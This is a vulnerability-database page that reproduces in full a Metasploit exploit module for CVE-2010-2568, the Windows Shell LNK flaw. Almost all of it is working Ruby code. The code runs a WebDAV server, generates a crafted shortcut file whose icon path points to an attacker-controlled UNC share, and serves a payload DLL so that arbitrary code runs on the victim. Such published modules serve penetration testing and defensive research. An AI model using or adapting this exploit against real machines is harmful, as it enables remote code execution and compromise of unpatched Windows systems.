Lucene search
+L

Microsoft Windows Shell LNK Code Execution

🗓️ 21 Jul 2010 00:00:00Reported by H D MooreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 59 Views

Exploits vulnerability in handling Windows Shortcut files (.LNK) containing a malicious DLL icon resource to create a WebDAV service for arbitrary payload execution

Related
Code
`##  
# $Id: ms10_xxx_windows_shell_lnk_execute.rb 9888 2010-07-20 19:54:56Z hdm $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
#  
# This module acts as an HTTP server  
#  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Windows Shell LNK Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in the handling of Windows  
Shortcut files (.LNK) that contain an icon resource pointing to a  
malicious DLL. This module creates a WebDAV service that can be used  
to run an arbitrary payload when accessed as a UNC path.  
  
},  
'Author' =>  
[  
'hdm', # Module itself  
'jduck', # WebDAV implementation  
'B_H' # Clean LNK template  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 9888 $',  
'References' =>  
[  
['CVE', '2010-2568'],  
['OSVDB', '66387'],  
['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 2048,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ]  
],  
'DisclosureDate' => 'Jun 09 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),  
OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]),  
], self.class)  
  
deregister_options('SSL', 'SSLVersion') # Just for now  
end  
  
def on_request_uri(cli, request)  
  
case request.method  
when 'OPTIONS'  
process_options(cli, request)  
when 'PROPFIND'  
process_propfind(cli, request)  
when 'GET'  
process_get(cli, request)  
else  
print_error("Unexpected request method encountered: #{request.method}")  
resp = create_response(404, "Not Found")  
resp.body = ""  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
  
end  
  
def process_get(cli, request)  
  
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
webdav = "\\\\#{myhost}\\"  
  
if (request.uri =~ /\.dll$/i)  
print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..."  
return if ((p = regenerate_payload(cli)) == nil)  
  
data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
if (request.uri =~ /\.lnk$/i)  
print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..."  
return if ((p = regenerate_payload(cli)) == nil)  
  
data = generate_link("#{webdav}#{@exploit_base}\\#{@exploit_dll}")  
  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..."  
resp = create_response(200, "OK")  
  
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=\\\\#{webdav}#{@exploit_base}\\"></head><body></body></html>|  
  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
  
#  
# OPTIONS requests sent by the WebDav Mini-Redirector  
#  
def process_options(cli, request)  
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")  
headers = {  
'MS-Author-Via' => 'DAV',  
# 'DASL' => '<DAV:sql>',  
# 'DAV' => '1, 2',  
'Allow' => 'OPTIONS, GET, PROPFIND',  
'Public' => 'OPTIONS, GET, PROPFIND'  
}  
resp = create_response(207, "Multi-Status")  
resp.body = ""  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
end  
  
#  
# PROPFIND requests sent by the WebDav Mini-Redirector  
#  
def process_propfind(cli, request)  
path = request.uri  
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")  
body = ''  
  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
my_uri = "http://#{my_host}/"  
  
if path =~ /\.dll$/i  
# Response for the DLL  
print_status("Sending DLL multistatus for #{path} ...")  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{@exploit_dll}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
return  
end  
  
if path =~ /\.lnk$/i  
# Response for the DLL  
print_status("Sending DLL multistatus for #{path} ...")  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{@exploit_lnk}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>shortcut</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
return  
end  
  
if path !~ /\/$/  
  
if path.index(".")  
print_status("Sending 404 for #{path} ...")  
resp = create_response(404, "Not Found")  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
else  
print_status("Sending 301 for #{path} ...")  
resp = create_response(301, "Moved")  
resp["Location"] = path + "/"  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
end  
end  
  
print_status("Sending directory multistatus for #{path} ...")  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
  
  
subdirectory = %Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
  
files = %Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{@exploit_dll}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{@exploit_lnk}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>shortcut</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
if request["Depth"].to_i > 0  
if path.scan("/").length < 2  
body << subdirectory  
else  
body << files  
end  
end  
  
body << "</D:multistatus>"  
  
body.gsub!(/\t/, '')  
  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
end  
  
def generate_link(unc)  
[ 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,  
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x14, 0x00, 0x1f, 0x00, 0xe0, 0x4f,  
0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,  
0x30, 0x9d, 0x14, 0x00, 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a,  
0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d, 0x0c, 0x01,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack("C*") +  
unc.unpack("C*").pack("v*") + "\x00\x00"  
end  
  
def exploit  
  
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']  
  
@exploit_unc = "\\\\#{myhost}\\"  
@exploit_base = rand_text_alpha(rand(8)+4)  
@exploit_lnk = rand_text_alpha(rand(8)+4) + ".lnk"  
@exploit_dll = rand_text_alpha(rand(8)+4) + ".dll"  
  
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'  
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'  
end  
  
print_status("")  
print_status("Send vulnerable clients to #{@exploit_unc}#{@exploit_base}\\")  
print_status("")  
super  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2010 00:00Current
7.6High risk
Vulners AI Score7.6
EPSS0.91324
59